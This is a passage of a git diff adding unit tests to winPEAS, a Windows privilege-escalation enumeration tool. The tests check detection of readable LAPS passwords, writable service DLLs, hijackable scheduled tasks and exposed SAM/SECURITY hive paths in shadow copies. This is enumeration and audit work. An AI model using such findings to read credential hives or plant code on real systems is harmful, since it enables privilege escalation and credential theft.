Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/ArgumentParsingTests.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/ArgumentParsingTests.cs index 6c6213ab..420be2c8 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/ArgumentParsingTests.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/ArgumentParsingTests.cs @@ -49,6 +49,7 @@ private static void ParseOnly(params string[] args) winPEAS.Checks.Checks.IsLinpeas = false; winPEAS.Checks.Checks.IsLolbas = false; winPEAS.Checks.Checks.IsNetworkScan = false; + winPEAS.Checks.Checks.CheckOnlineVulnPackages = false; winPEAS.Checks.Checks.SearchProgramFiles = false; winPEAS.Checks.Checks.NetworkScanOptions = string.Empty; winPEAS.Checks.Checks.PortScannerPorts = null; @@ -240,5 +241,75 @@ public void MaxRegexFileSize_ArgParsed_Correctly() Assert.AreEqual(500000, winPEAS.Checks.Checks.MaxRegexFileSize, "max-regex-file-size=500000 should set MaxRegexFileSize to 500000."); } + + [TestMethod] + public void VulnPackages_ArgParsed_Correctly() + { + ParseOnly("-vulnpackages"); + Assert.IsTrue(winPEAS.Checks.Checks.CheckOnlineVulnPackages, + "-vulnpackages should enable the online package vulnerability lookup."); + } + + [TestMethod] + public void All_EnablesOnlinePackageLookup() + { + ParseOnly("all"); + Assert.IsTrue(winPEAS.Checks.Checks.CheckOnlineVulnPackages, + "all should enable the online package vulnerability lookup."); + } + + [TestMethod] + public void PackageVulnerabilityFormatter_CapsAtFiftyLines() + { + var vulnerablePackages = string.Join(",", Enumerable.Range(1, 55).Select(i => + $"{{\"name\":\"pkg{i}\",\"version\":\"1.{i}.0\",\"manager\":\"windows-registry\",\"vulns\":[\"CVE-2026-{10000 + i}\"]}}")); + var responseJson = "{\"malicious\":false,\"results\":[],\"package_vulnerabilities\":{\"checked\":300,\"affected\":55,\"vulnerable_packages\":[" + vulnerablePackages + "]}}"; + + var summary = winPEAS.Info.NetworkInfo.HackTricksHostChecker.ParsePackageVulnerabilities(responseJson, 50); + + Assert.AreEqual(300, summary.Checked); + Assert.AreEqual(55, summary.Affected); + Assert.AreEqual(50, summary.Lines.Count); + Assert.AreEqual(5, summary.NotShown); + Assert.IsTrue(summary.Lines[0].StartsWith("- pkg1 1.1.0 [windows-registry]: CVE-2026-10001")); + } + + [TestMethod] + public void PackageVulnerabilityFormatter_SortsHackTricksCriticalityBeforeCapping() + { + var responseJson = + "{\"package_vulnerabilities\":{\"checked\":4,\"affected\":4,\"vulnerable_packages\":[" + + "{\"name\":\"lowpkg\",\"version\":\"1.0\",\"manager\":\"windows-registry\",\"severity\":\"low\",\"vulns\":[\"CVE-2026-10001\"]}," + + "{\"name\":\"criticalpkg\",\"version\":\"2.0\",\"manager\":\"windows-registry\",\"severity\":\"critical\",\"vulns\":[\"CVE-2026-10002\"]}," + + "{\"name\":\"highpkg\",\"version\":\"3.0\",\"manager\":\"windows-registry\",\"severity\":\"high\",\"vulns\":[\"CVE-2026-10003\"]}," + + "{\"name\":\"mediumpkg\",\"version\":\"4.0\",\"manager\":\"windows-registry\",\"severity\":\"medium\",\"vulns\":[\"CVE-2026-10004\"]}" + + "]}}"; + + var summary = winPEAS.Info.NetworkInfo.HackTricksHostChecker.ParsePackageVulnerabilities(responseJson, 3); + + Assert.AreEqual(3, summary.Lines.Count); + Assert.AreEqual(1, summary.NotShown); + Assert.IsTrue(summary.Lines[0].StartsWith("- criticalpkg 2.0 [windows-registry] [Critical]: CVE-2026-10002")); + Assert.IsTrue(summary.Lines[1].StartsWith("- highpkg 3.0 [windows-registry] [High]: CVE-2026-10003")); + Assert.IsTrue(summary.Lines[2].StartsWith("- mediumpkg 4.0 [windows-registry] [Medium]: CVE-2026-10004")); + } + + [TestMethod] + public void PackageVulnerabilityFormatter_UsesHackTricksCvssWhenSeverityMissing() + { + var responseJson = + "{\"package_vulnerabilities\":{\"checked\":3,\"affected\":3,\"vulnerable_packages\":[" + + "{\"name\":\"mediumcvss\",\"version\":\"1.0\",\"manager\":\"windows-registry\",\"cvss_score\":5.0,\"vulns\":[\"CVE-2026-10001\"]}," + + "{\"name\":\"criticalcvss\",\"version\":\"2.0\",\"manager\":\"windows-registry\",\"cvss_score\":9.8,\"vulns\":[\"CVE-2026-10002\"]}," + + "{\"name\":\"highcvss\",\"version\":\"3.0\",\"manager\":\"windows-registry\",\"cvss_score\":8.1,\"vulns\":[\"CVE-2026-10003\"]}" + + "]}}"; + + var summary = winPEAS.Info.NetworkInfo.HackTricksHostChecker.ParsePackageVulnerabilities(responseJson, 50); + + Assert.AreEqual(3, summary.Lines.Count); + Assert.IsTrue(summary.Lines[0].StartsWith("- criticalcvss 2.0 [windows-registry] [Critical]: CVE-2026-10002")); + Assert.IsTrue(summary.Lines[1].StartsWith("- highcvss 3.0 [windows-registry] [High]: CVE-2026-10003")); + Assert.IsTrue(summary.Lines[2].StartsWith("- mediumcvss 1.0 [windows-registry] [Medium]: CVE-2026-10001")); + } } } diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/ClfsAuthenticationTests.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/ClfsAuthenticationTests.cs new file mode 100644 index 00000000..de9a700c --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/ClfsAuthenticationTests.cs @@ -0,0 +1,55 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using winPEAS.Info.SystemInfo; + +namespace winPEAS.Tests +{ + [TestClass] + public class ClfsAuthenticationTests + { + [TestMethod] + public void RecognizesEnforcedAndDisabledModes() + { + Assert.AreEqual( + ClfsAuthenticationStatus.Enforced, + ClfsAuthentication.Evaluate(0, 0).Status); + Assert.AreEqual( + ClfsAuthenticationStatus.DisabledByAdministrator, + ClfsAuthentication.Evaluate(2, null).Status); + Assert.AreEqual( + ClfsAuthenticationStatus.DisabledBySystem, + ClfsAuthentication.Evaluate(3L, null).Status); + } + + [TestMethod] + public void DistinguishesNormalAndIndefiniteLearningModes() + { + ClfsAuthenticationReport normal = ClfsAuthentication.Evaluate(1, 7776000); + ClfsAuthenticationReport indefinite = ClfsAuthentication.Evaluate(1, 0); + ClfsAuthenticationReport defaultPeriod = ClfsAuthentication.Evaluate(1, null); + + Assert.AreEqual(ClfsAuthenticationStatus.Learning, normal.Status); + Assert.AreEqual((ulong)7776000, normal.EnforcementTransitionPeriod.Value); + Assert.AreEqual( + ClfsAuthenticationStatus.LearningWithoutAutoEnforcement, + indefinite.Status); + Assert.AreEqual(ClfsAuthenticationStatus.Learning, defaultPeriod.Status); + } + + [TestMethod] + public void TreatsMalformedOrUndocumentedModesAsUnknown() + { + Assert.AreEqual( + ClfsAuthenticationStatus.Unknown, + ClfsAuthentication.Evaluate("not-a-number", 10).Status); + Assert.AreEqual( + ClfsAuthenticationStatus.Unknown, + ClfsAuthentication.Evaluate("2", 10).Status); + Assert.AreEqual( + ClfsAuthenticationStatus.Unknown, + ClfsAuthentication.Evaluate(4, 10).Status); + Assert.AreEqual( + ClfsAuthenticationStatus.Unknown, + ClfsAuthentication.Evaluate(-1, 10).Status); + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/LapsPasswordExposureTests.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/LapsPasswordExposureTests.cs new file mode 100644 index 00000000..69adbe7c --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/LapsPasswordExposureTests.cs @@ -0,0 +1,42 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using winPEAS.Info.ActiveDirectoryInfo; + +namespace winPEAS.Tests +{ + [TestClass] + public class LapsPasswordExposureTests + { + [TestMethod] + public void DetectsLegacyAndWindowsLapsCleartextAttributes() + { + LapsPasswordExposureReport legacy = LapsPasswordExposure.Evaluate(true, false); + LapsPasswordExposureReport windows = LapsPasswordExposure.Evaluate(false, true); + LapsPasswordExposureReport both = LapsPasswordExposure.Evaluate(true, true); + + Assert.IsTrue(legacy.IsExposed); + Assert.IsTrue(legacy.LegacyPasswordReadable); + Assert.IsFalse(legacy.WindowsLapsPasswordReadable); + + Assert.IsTrue(windows.IsExposed); + Assert.IsFalse(windows.LegacyPasswordReadable); + Assert.IsTrue(windows.WindowsLapsPasswordReadable); + + Assert.IsTrue(both.LegacyPasswordReadable); + Assert.IsTrue(both.WindowsLapsPasswordReadable); + } + + [TestMethod] + public void TreatsMissingAttributesAsNotExposed() + { + Assert.IsFalse(LapsPasswordExposure.Evaluate(false, false).IsExposed); + } + + [TestMethod] + public void EscapesAllLdapFilterMetacharacters() + { + Assert.AreEqual( + @"host\2a\28name\29\5c\00$", + LapsPasswordExposure.EscapeLdapFilterValue("host*(name)\\\0$")); + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/PrivilegedScheduledTaskTests.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/PrivilegedScheduledTaskTests.cs new file mode 100644 index 00000000..aa65fd7b --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/PrivilegedScheduledTaskTests.cs @@ -0,0 +1,170 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using System.Collections.Generic; +using System.Security.AccessControl; +using winPEAS.Info.ApplicationInfo; + +namespace winPEAS.Tests +{ + [TestClass] + public class PrivilegedScheduledTaskTests + { + private static readonly HashSet StandardUserSids = new HashSet + { + "S-1-5-32-545", + }; + + [TestMethod] + public void RecognizesOnlyLocalSystemPrincipalForms() + { + Assert.IsTrue(PrivilegedScheduledTasks.IsLocalSystemPrincipal("S-1-5-18")); + Assert.IsTrue(PrivilegedScheduledTasks.IsLocalSystemPrincipal("SYSTEM")); + Assert.IsTrue(PrivilegedScheduledTasks.IsLocalSystemPrincipal(@"NT AUTHORITY\SYSTEM")); + Assert.IsTrue(PrivilegedScheduledTasks.IsLocalSystemPrincipal("LocalSystem")); + Assert.IsFalse(PrivilegedScheduledTasks.IsLocalSystemPrincipal(@"BUILTIN\Administrators")); + Assert.IsFalse(PrivilegedScheduledTasks.IsLocalSystemPrincipal("S-1-5-19")); + } + + [TestMethod] + public void ExtractsPowerShellFileArgument() + { + List paths = PrivilegedScheduledTasks.ExtractReferencedFilePaths( + @"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", + @"-NoProfile -File ""C:\Program Files\Ops\rotate.ps1""", + null); + + CollectionAssert.Contains(paths, @"C:\Program Files\Ops\rotate.ps1"); + } + + [TestMethod] + public void IgnoresDataAndOutputArgumentsForOrdinaryExecutables() + { + List paths = PrivilegedScheduledTasks.ExtractReferencedFilePaths( + @"C:\Tools\processor.exe", + @"/copy C:\Data\payload.dll --output C:\Reports\result.jar", + null); + + Assert.AreEqual(0, paths.Count); + } + + [TestMethod] + public void IgnoresInlineInterpreterCodeThatLooksLikeAPath() + { + List paths = PrivilegedScheduledTasks.ExtractReferencedFilePaths( + @"C:\Python311\python.exe", + @"-c ""C:\Reports\not-a-script.py""", + null); + + Assert.AreEqual(0, paths.Count); + } + + [TestMethod] + public void ExtractsCmdAndJavaExecutionTargetsOnlyFromKnownSwitches() + { + List cmdPaths = PrivilegedScheduledTasks.ExtractReferencedFilePaths( + @"C:\Windows\System32\cmd.exe", + @"/c call C:\Jobs\cleanup.cmd --output C:\Reports\result.jar", + null); + List javaPaths = PrivilegedScheduledTasks.ExtractReferencedFilePaths( + @"C:\Program Files\Java\bin\java.exe", + @"--class-path C:\Libraries\support.jar -jar C:\Apps\worker.jar", + null); + + CollectionAssert.AreEqual(new List { @"C:\Jobs\cleanup.cmd" }, cmdPaths); + CollectionAssert.AreEqual(new List { @"C:\Apps\worker.jar" }, javaPaths); + } + + [TestMethod] + public void RejectsNetworkDriveTypes() + { + Assert.IsTrue(PrivilegedScheduledTasks.IsAllowedDriveType(System.IO.DriveType.Fixed)); + Assert.IsFalse(PrivilegedScheduledTasks.IsAllowedDriveType(System.IO.DriveType.Network)); + Assert.IsFalse(PrivilegedScheduledTasks.IsAllowedDriveType(System.IO.DriveType.Unknown)); + } + + [TestMethod] + public void EnforcesGlobalTargetAndTimeBudgets() + { + var targetLimited = new PrivilegedScheduledTaskReport + { + TargetsInspected = PrivilegedScheduledTasks.MaxTargets, + }; + var timeLimited = new PrivilegedScheduledTaskReport(); + + Assert.IsTrue(PrivilegedScheduledTasks.ApplySafetyLimits(targetLimited, 0)); + Assert.IsTrue(targetLimited.TargetLimitReached); + Assert.IsTrue(PrivilegedScheduledTasks.ApplySafetyLimits( + timeLimited, + PrivilegedScheduledTasks.MaxInspectionMilliseconds)); + Assert.IsTrue(timeLimited.TimeLimitReached); + } + + [TestMethod] + public void HonorsWriteDenyBeforeAllow() + { + var allowed = new RawSecurityDescriptor("O:BAG:SYD:(A;;0x2;;;BU)"); + var denied = new RawSecurityDescriptor("O:BAG:SYD:(D;;0x2;;;BU)(A;;0x2;;;BU)"); + + Assert.AreEqual( + "S-1-5-32-545", + PrivilegedScheduledTasks.FindWriteTrustee(allowed, StandardUserSids, 0x2)); + Assert.IsNull(PrivilegedScheduledTasks.FindWriteTrustee(denied, StandardUserSids, 0x2)); + } + + [TestMethod] + public void DetectsTaskDefinitionAndPermissionControl() + { + var writable = new RawSecurityDescriptor("O:BAG:SYD:(A;;GW;;;BU)"); + var changePermissions = new RawSecurityDescriptor("O:BAG:SYD:(A;;0x40000;;;BU)"); + var changeOwner = new RawSecurityDescriptor("O:BAG:SYD:(A;;0x80000;;;BU)"); + + Assert.AreEqual( + "task definition is writable by S-1-5-32-545", + PrivilegedScheduledTasks.FindTaskControlReason(writable, StandardUserSids)); + Assert.AreEqual( + "task permissions can be changed by S-1-5-32-545", + PrivilegedScheduledTasks.FindTaskControlReason(changePermissions, StandardUserSids)); + Assert.AreEqual( + "task ownership can be changed by S-1-5-32-545", + PrivilegedScheduledTasks.FindTaskControlReason(changeOwner, StandardUserSids)); + } + + [TestMethod] + public void DetectsUnprivilegedTaskOwnerButIgnoresReadOnlyAccess() + { + var owned = new RawSecurityDescriptor("O:BUG:SYD:(A;;FR;;;BU)"); + var readOnly = new RawSecurityDescriptor("O:BAG:SYD:(A;;FR;;;BU)"); + + Assert.AreEqual( + "task is owned by S-1-5-32-545 (the owner can change its permissions)", + PrivilegedScheduledTasks.FindTaskControlReason(owned, StandardUserSids)); + Assert.IsNull(PrivilegedScheduledTasks.FindTaskControlReason(readOnly, StandardUserSids)); + } + + [TestMethod] + public void RequiresCreateAndDeleteChildForExistingFileReplacement() + { + var createOnly = new RawSecurityDescriptor("O:BAG:SYD:(A;;0x2;;;BU)"); + var replace = new RawSecurityDescriptor("O:BAG:SYD:(A;;0x42;;;BU)"); + + Assert.IsNull(PrivilegedScheduledTasks.FindDirectoryReplacementTrustee(createOnly, StandardUserSids)); + Assert.AreEqual( + "S-1-5-32-545", + PrivilegedScheduledTasks.FindDirectoryReplacementTrustee(replace, StandardUserSids)); + } + + [TestMethod] + public void CombinesReplacementRightsAcrossTokenGroups() + { + var standardTokenSids = new HashSet + { + "S-1-1-0", + "S-1-5-32-545", + }; + var replace = new RawSecurityDescriptor("O:BAG:SYD:(A;;0x2;;;WD)(A;;0x40;;;BU)"); + + Assert.AreEqual( + "S-1-1-0 and S-1-5-32-545", + PrivilegedScheduledTasks.FindDirectoryReplacementTrustee(replace, standardTokenSids)); + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/PrivilegedWmiEventConsumerTests.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/PrivilegedWmiEventConsumerTests.cs new file mode 100644 index 00000000..fffdadd9 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/PrivilegedWmiEventConsumerTests.cs @@ -0,0 +1,56 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using System.Collections.Generic; +using winPEAS.Info.ApplicationInfo; + +namespace winPEAS.Tests +{ + [TestClass] + public class PrivilegedWmiEventConsumerTests + { + [TestMethod] + public void SplitsQuotedAndUnquotedCommandTemplates() + { + WmiCommandParts quoted = PrivilegedWmiEventConsumers.SplitCommandLineTemplate( + "\"C:\\Program Files\\Agent\\agent.exe\" --run \"C:\\Data\\job.xml\""); + WmiCommandParts unquoted = PrivilegedWmiEventConsumers.SplitCommandLineTemplate( + "C:\\Program Files\\Agent\\agent.exe --run"); + + Assert.AreEqual(@"C:\Program Files\Agent\agent.exe", quoted.Executable); + Assert.AreEqual("--run \"C:\\Data\\job.xml\"", quoted.Arguments); + Assert.AreEqual(@"C:\Program Files\Agent\agent.exe", unquoted.Executable); + Assert.AreEqual("--run", unquoted.Arguments); + } + + [TestMethod] + public void FindsInterpreterAndScriptTargetsWithoutReadingFiles() + { + List targets = PrivilegedWmiEventConsumers.GetCommandLineTargetPaths( + @"C:\Windows\System32\cscript.exe", + "C:\\Windows\\System32\\cscript.exe //B \"C:\\ProgramData\\Vendor Agent\\event.vbs\"", + null); + + CollectionAssert.Contains(targets, @"C:\Windows\System32\cscript.exe"); + CollectionAssert.Contains(targets, @"C:\ProgramData\Vendor Agent\event.vbs"); + } + + [TestMethod] + public void RejectsDynamicWmiEventPlaceholdersAsFilesystemTargets() + { + List targets = PrivilegedWmiEventConsumers.GetCommandLineTargetPaths( + null, + @"C:\ProgramData\Agent\%TargetEvent.ProcessName%.exe --run", + null); + + Assert.AreEqual(0, targets.Count); + } + + [TestMethod] + public void NormalizesFullWmiConsumerReferences() + { + string normalized = PrivilegedWmiEventConsumers.NormalizeConsumerReference( + "\\\\HOST\\root\\subscription:CommandLineEventConsumer.Name=\"Updater\""); + + Assert.AreEqual("CommandLineEventConsumer.Name=\"Updater\"", normalized); + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/RegistryHiveExposureTests.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/RegistryHiveExposureTests.cs new file mode 100644 index 00000000..7f4150c5 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/RegistryHiveExposureTests.cs @@ -0,0 +1,65 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using System.Collections.Generic; +using System.Security.AccessControl; +using winPEAS.Info.FilesInfo; + +namespace winPEAS.Tests +{ + [TestClass] + public class RegistryHiveExposureTests + { + private static readonly HashSet StandardUserSids = new HashSet + { + "S-1-5-21-1000-1000-1000-1001", + "S-1-5-32-545", + }; + + [TestMethod] + public void DetectsBuiltInUsersReadAce() + { + var descriptor = new RawSecurityDescriptor("O:BAG:SYD:AI(A;ID;0x1200a9;;;BU)"); + + string trustee = RegistryHiveExposure.FindReadTrustee(descriptor, StandardUserSids); + + Assert.AreEqual("S-1-5-32-545", trustee); + } + + [TestMethod] + public void IgnoresAdministratorAndSystemOnlyAcl() + { + var descriptor = new RawSecurityDescriptor("O:BAG:SYD:AI(A;ID;FA;;;SY)(A;ID;FA;;;BA)"); + + string trustee = RegistryHiveExposure.FindReadTrustee(descriptor, StandardUserSids); + + Assert.IsNull(trustee); + } + + [TestMethod] + public void HonorsReadDenyBeforeAllow() + { + var descriptor = new RawSecurityDescriptor("O:BAG:SYD:(D;;FR;;;BU)(A;;FR;;;BU)"); + + string trustee = RegistryHiveExposure.FindReadTrustee(descriptor, StandardUserSids); + + Assert.IsNull(trustee); + } + + [TestMethod] + public void BuildsValidatedShadowHivePath() + { + string path = RegistryHiveExposure.BuildShadowHivePath( + @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12", + @"C:\Windows", + "SECURITY"); + + Assert.AreEqual( + @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\Windows\System32\config\SECURITY", + path); + Assert.IsNull(RegistryHiveExposure.BuildShadowHivePath(@"\\server\share", @"C:\Windows", "SAM")); + Assert.IsNull(RegistryHiveExposure.BuildShadowHivePath( + @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12", + @"C:\Windows", + @"..\SAM")); + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/SccmNetworkAccessAccountTests.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/SccmNetworkAccessAccountTests.cs new file mode 100644 index 00000000..7b64300d --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/SccmNetworkAccessAccountTests.cs @@ -0,0 +1,44 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using System; +using winPEAS.Info.WindowsCreds; + +namespace winPEAS.Tests +{ + [TestClass] + public class SccmNetworkAccessAccountTests + { + [TestMethod] + public void ReportsConfiguredPoliciesWithoutReadingSecretValues() + { + SccmNetworkAccessAccountReport report = SccmNetworkAccessAccount.GetReport(() => 2); + + Assert.AreEqual(SccmNetworkAccessAccountStatus.Configured, report.Status); + Assert.AreEqual(2, report.AccountCount); + Assert.IsFalse(report.LimitReached); + Assert.AreEqual( + "SELECT SiteSettingsKey FROM CCM_NetworkAccessAccount", + SccmNetworkAccessAccount.MetadataOnlyQuery); + } + + [TestMethod] + public void BoundsTheNumberOfReportedPolicies() + { + SccmNetworkAccessAccountReport report = SccmNetworkAccessAccount.GetReport( + () => SccmNetworkAccessAccount.MaxAccounts + 1); + + Assert.AreEqual(SccmNetworkAccessAccount.MaxAccounts, report.AccountCount); + Assert.IsTrue(report.LimitReached); + } + + [TestMethod] + public void DistinguishesNoPolicyFromAccessDenied() + { + SccmNetworkAccessAccountReport absent = SccmNetworkAccessAccount.GetReport(() => 0); + SccmNetworkAccessAccountReport denied = SccmNetworkAccessAccount.GetReport( + () => throw new UnauthorizedAccessException()); + + Assert.AreEqual(SccmNetworkAccessAccountStatus.NotConfigured, absent.Status); + Assert.AreEqual(SccmNetworkAccessAccountStatus.AccessDenied, denied.Status); + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/WritableServiceDllTests.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/WritableServiceDllTests.cs new file mode 100644 index 00000000..320b8fb7 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/WritableServiceDllTests.cs @@ -0,0 +1,152 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using System.Collections.Generic; +using System.Security.AccessControl; +using System.Security.Principal; +using winPEAS.Info.ServicesInfo; + +namespace Tests +{ + [TestClass] + public class WritableServiceDllTests + { + private const string UsersSid = "S-1-5-32-545"; + + [TestMethod] + public void NormalizesServicePathsAndRequiresUnprotectedSystemSvchost() + { + Assert.AreEqual( + @"C:\Windows\System32\example.dll", + ServicesInfoHelper.NormalizeServiceDllPath( + @" ""%SystemRoot%\System32\example.dll"" ", + @"C:\Windows")); + Assert.AreEqual( + @"C:\Windows\System32\example.dll", + ServicesInfoHelper.NormalizeServiceDllPath( + @"\??\C:\Windows\System32\example.dll", + @"C:\Windows")); + Assert.AreEqual( + @"C:\Windows\Sysnative\example.dll", + ServicesInfoHelper.GetFileSystemAccessPath( + @"C:\Windows\System32\example.dll", + @"C:\Windows", + true, + false)); + + Assert.IsTrue(ServicesInfoHelper.IsEligibleSystemService( + 0x20, + 2, + 0, + "LocalSystem", + @"""\SystemRoot\System32\svchost.exe"" -k netsvcs -p", + @"C:\Windows")); + Assert.IsFalse(ServicesInfoHelper.IsEligibleSystemService( + 0x10, + 2, + 0, + "LocalSystem", + @"%SystemRoot%\System32\svchost.exe -k netsvcs -p", + @"C:\Windows")); + Assert.IsFalse(ServicesInfoHelper.IsEligibleSystemService( + 0x20, + 4, + 0, + "LocalSystem", + @"%SystemRoot%\System32\svchost.exe -k netsvcs -p", + @"C:\Windows")); + Assert.IsFalse(ServicesInfoHelper.IsEligibleSystemService( + 0x20, + 2, + 2, + "LocalSystem", + @"%SystemRoot%\System32\svchost.exe -k netsvcs -p", + @"C:\Windows")); + Assert.IsFalse(ServicesInfoHelper.IsEligibleSystemService( + 0x20, + 2, + 0, + @"NT AUTHORITY\LocalService", + @"%SystemRoot%\System32\svchost.exe -k LocalService", + @"C:\Windows")); + Assert.IsFalse(ServicesInfoHelper.IsEligibleSystemService( + 0x20, + 2, + 0, + "LocalSystem", + @"C:\Users\Public\svchost.exe -k fake", + @"C:\Windows")); + } + + [TestMethod] + public void EffectiveAccessHonorsDenyAceOrder() + { + var tokenSids = new HashSet { UsersSid }; + RawSecurityDescriptor allowed = CreateDescriptor( + new AceQualifier[] { AceQualifier.AccessAllowed }, + new int[] { 0x00000002 }); + Assert.IsTrue(ServicesInfoHelper.HasEffectiveAccess(allowed, tokenSids, 0x00000002)); + Assert.IsFalse(ServicesInfoHelper.HasEffectiveAccess(allowed, tokenSids, 0x00010000)); + + RawSecurityDescriptor deniedThenAllowed = CreateDescriptor( + new AceQualifier[] { AceQualifier.AccessDenied, AceQualifier.AccessAllowed }, + new int[] { 0x00000002, 0x10000000 }); + Assert.IsFalse(ServicesInfoHelper.HasEffectiveAccess(deniedThenAllowed, tokenSids, 0x00000002)); + Assert.IsTrue(ServicesInfoHelper.HasEffectiveAccess(deniedThenAllowed, tokenSids, 0x00010000)); + } + + [TestMethod] + public void RequiresConcretePlantOrReplacementRights() + { + var tokenSids = new HashSet { UsersSid }; + RawSecurityDescriptor readOnlyFile = CreateDescriptor( + new AceQualifier[] { AceQualifier.AccessAllowed }, + new int[] { 0x00000001 }); + RawSecurityDescriptor createOnlyDirectory = CreateDescriptor( + new AceQualifier[] { AceQualifier.AccessAllowed }, + new int[] { 0x00000002 }); + RawSecurityDescriptor replaceDirectory = CreateDescriptor( + new AceQualifier[] { AceQualifier.AccessAllowed }, + new int[] { 0x00000042 }); + + Assert.IsFalse(string.IsNullOrEmpty(ServicesInfoHelper.GetReplacementReason( + null, + createOnlyDirectory, + false, + tokenSids))); + Assert.AreEqual(string.Empty, ServicesInfoHelper.GetReplacementReason( + readOnlyFile, + createOnlyDirectory, + true, + tokenSids)); + Assert.IsFalse(string.IsNullOrEmpty(ServicesInfoHelper.GetReplacementReason( + readOnlyFile, + replaceDirectory, + true, + tokenSids))); + } + + private static RawSecurityDescriptor CreateDescriptor( + AceQualifier[] qualifiers, + int[] accessMasks) + { + var dacl = new RawAcl(2, qualifiers.Length); + var users = new SecurityIdentifier(UsersSid); + for (int index = 0; index < qualifiers.Length; index++) + { + dacl.InsertAce(index, new CommonAce( + AceFlags.None, + qualifiers[index], + accessMasks[index], + users, + false, + null)); + } + + return new RawSecurityDescriptor( + ControlFlags.DiscretionaryAclPresent, + null, + null, + null, + dacl); + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/WritableServiceRecoveryCommandTests.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/WritableServiceRecoveryCommandTests.cs new file mode 100644 index 00000000..31652614 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/WritableServiceRecoveryCommandTests.cs @@ -0,0 +1,92 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using System.Linq; +using winPEAS.Info.ServicesInfo; + +namespace Tests +{ + [TestClass] + public class WritableServiceRecoveryCommandTests + { + [TestMethod] + public void EligibilityRequiresEnabledUnprotectedLocalSystemWin32Service() + { + Assert.IsTrue(ServicesInfoHelper.IsEligibleRecoveryService(0x10, 2, 0, "LocalSystem")); + Assert.IsTrue(ServicesInfoHelper.IsEligibleRecoveryService(0x20, 3, null, string.Empty)); + + Assert.IsFalse(ServicesInfoHelper.IsEligibleRecoveryService(0x1, 2, 0, "LocalSystem")); + Assert.IsFalse(ServicesInfoHelper.IsEligibleRecoveryService(0x10, 4, 0, "LocalSystem")); + Assert.IsFalse(ServicesInfoHelper.IsEligibleRecoveryService(0x10, 2, 1, "LocalSystem")); + Assert.IsFalse(ServicesInfoHelper.IsEligibleRecoveryService( + 0x10, + 2, + 0, + @"NT AUTHORITY\LocalService")); + } + + [TestMethod] + public void ParsesQuotedExpandedAndUnquotedRecoveryExecutables() + { + string executable; + string arguments; + + Assert.IsTrue(ServicesInfoHelper.TryParseRecoveryCommand( + @"""%SystemRoot%\System32\cmd.exe"" /c C:\ProgramData\Vendor\recover.cmd", + @"C:\Windows", + out executable, + out arguments)); + Assert.AreEqual(@"C:\Windows\System32\cmd.exe", executable); + Assert.AreEqual(@"/c C:\ProgramData\Vendor\recover.cmd", arguments); + + Assert.IsTrue(ServicesInfoHelper.TryParseRecoveryCommand( + @"C:\Program Files\Vendor\recovery.exe --quiet", + @"C:\Windows", + out executable, + out arguments)); + Assert.AreEqual(@"C:\Program Files\Vendor\recovery.exe", executable); + Assert.AreEqual("--quiet", arguments); + + Assert.IsTrue(ServicesInfoHelper.TryParseRecoveryCommand( + @"cmd /c C:\ProgramData\Vendor\helper.exe", + @"C:\Windows", + out executable, + out arguments)); + Assert.AreEqual(@"C:\Windows\System32\cmd.exe", 